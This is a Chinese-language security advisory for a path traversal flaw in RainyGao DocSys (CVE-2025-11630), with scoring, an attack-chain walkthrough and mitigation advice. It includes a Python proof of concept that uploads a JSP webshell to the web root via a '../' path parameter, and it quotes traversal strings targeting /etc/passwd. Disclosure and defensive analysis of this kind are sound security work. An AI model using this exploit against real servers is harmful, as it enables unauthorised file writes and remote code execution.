IPBUF安全漏洞报告
English
CVE-2025-11630 CVSS 6.3 中危

CVE-2025-11630:RainyGao DocSys路径遍历漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11630
漏洞类型
路径遍历(Path Traversal)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RainyGao DocSys

相关标签

路径遍历Path Traversal文件上传RainyGao DocSysCWE-22中危漏洞远程攻击PoC公开

漏洞概述

CVE-2025-11630是RainyGao DocSys文档管理系统中存在的一个路径遍历(Path Traversal)漏洞,影响版本至2.02.36。该漏洞位于文件上传组件的/Doc/uploadDoc.do端点,具体存在于updateRealDoc函数中。攻击者可以通过操纵上传请求中的path参数,利用路径遍历技术访问或上传文件到服务器上非预期的目录,从而绕过系统的安全限制。

该漏洞的CVSS 3.1评分为6.3,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。漏洞对机密性、完整性和可用性均产生低级别影响(C:L/I:L/A:L),表明攻击者虽然需要一定程度的认证,但可以在远程条件下利用该漏洞,且不会触发用户交互。

值得注意的是,该漏洞的利用代码已经公开披露,攻击者可以轻易获取PoC进行攻击尝试。尽管安全研究人员曾提前联系厂商报告该漏洞,但厂商未作出任何回应,这进一步增加了用户面临的安全风险。该漏洞特别危险,因为它允许已认证的低权限用户突破文件系统限制,可能导致敏感文件泄露、恶意文件上传或服务器被攻陷。

技术细节

该路径遍历漏洞的核心位于RainyGao DocSys的/Doc/uploadDoc.do端点的updateRealDoc函数中。当用户通过文件上传功能提交请求时,系统未对path参数进行充分的验证和过滤。

攻击原理:
1. DocSys的文件上传接口接收用户上传的文件,并通过path参数指定文件的存储路径。
2. updateRealDoc函数在处理文件存储时,直接将用户传入的path参数用于文件路径的拼接,未对路径中的特殊字符(如../)进行过滤或规范化处理。
3. 攻击者可以通过构造包含路径遍历序列(如../../../../etc/passwd或../../webapps/ROOT/)的path参数,绕过预期的存储目录限制。
4. 利用该漏洞,攻击者可以:
- 将WebShell上传到Web可访问目录,实现远程代码执行
- 覆盖系统关键文件,破坏系统完整性
- 访问受限目录中的敏感文件
- 上传恶意文件到其他用户可访问的位置

利用条件:攻击者需要拥有系统的低权限账户(已认证用户),但无需管理员权限即可发起攻击。攻击完全通过网络进行,不需要本地访问或用户交互。

攻击链分析

STEP 1
步骤1:获取认证
攻击者通过合法途径或钓鱼手段获取DocSys系统的低权限用户账户凭证,并登录系统获取有效的会话Cookie。
STEP 2
步骤2:构造恶意请求
攻击者构造一个针对/Doc/uploadDoc.do端点的文件上传请求,在path参数中嵌入路径遍历序列(如../../),用于指定目标文件存储路径。
STEP 3
步骤3:上传恶意文件
通过updateRealDoc函数处理上传请求,由于系统未对path参数进行安全过滤,恶意文件被存储到攻击者指定的非预期目录(如Web根目录)。
STEP 4
步骤4:执行恶意代码
如果上传的是WebShell(如JSP文件),攻击者可以通过浏览器直接访问该文件,获得服务器端的远程代码执行能力。
STEP 5
步骤5:权限提升与持久化
利用获取的服务器权限,攻击者可以进一步提升权限、植入后门、窃取敏感数据或进行内网横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11630 PoC - RainyGao DocSys Path Traversal # Vulnerability: Path Traversal in updateRealDoc function via /Doc/uploadDoc.do # Affected: DocSys <= 2.02.36 import requests TARGET_URL = "http://target.com/Doc/uploadDoc.do" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } session.post(f"http://target.com/Doc/login.do", data=login_data) # Step 2: Craft path traversal payload in the 'path' parameter # The path traversal sequence allows writing outside the intended directory malicious_path = "../../webapps/ROOT/evil_shell.jsp" # Step 3: Upload a malicious file (e.g., JSP webshell) using the traversal path files = { "file": ("evil_shell.jsp", b"<%@ page import=\"java.util.*,java.io.*\"%><% out.println(\"Hacked\"); %>", "application/octet-stream") } data = { "path": malicious_path, "action": "updateRealDoc" } response = session.post(TARGET_URL, files=files, data=data) print(f"Upload Status: {response.status_code}") print(f"Response: {response.text}") # Step 4: Access the uploaded webshell if response.status_code == 200: shell_url = "http://target.com/evil_shell.jsp" shell_response = requests.get(shell_url) print(f"Shell Access Status: {shell_response.status_code}")

影响范围

RainyGao DocSys <= 2.02.36

防御指南

临时缓解措施
在厂商发布官方补丁之前,建议采取以下临时缓解措施:1)限制/Doc/uploadDoc.do端点的访问,仅允许可信IP访问;2)在Web服务器层面配置规则,过滤包含../等路径遍历特征的请求;3)对文件上传功能进行临时关闭或限制仅管理员可用;4)审查系统日志,排查是否存在已遭受攻击的迹象;5)加强账户管理,限制低权限用户的文件上传权限;6)部署WAF规则拦截路径遍历攻击payload。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表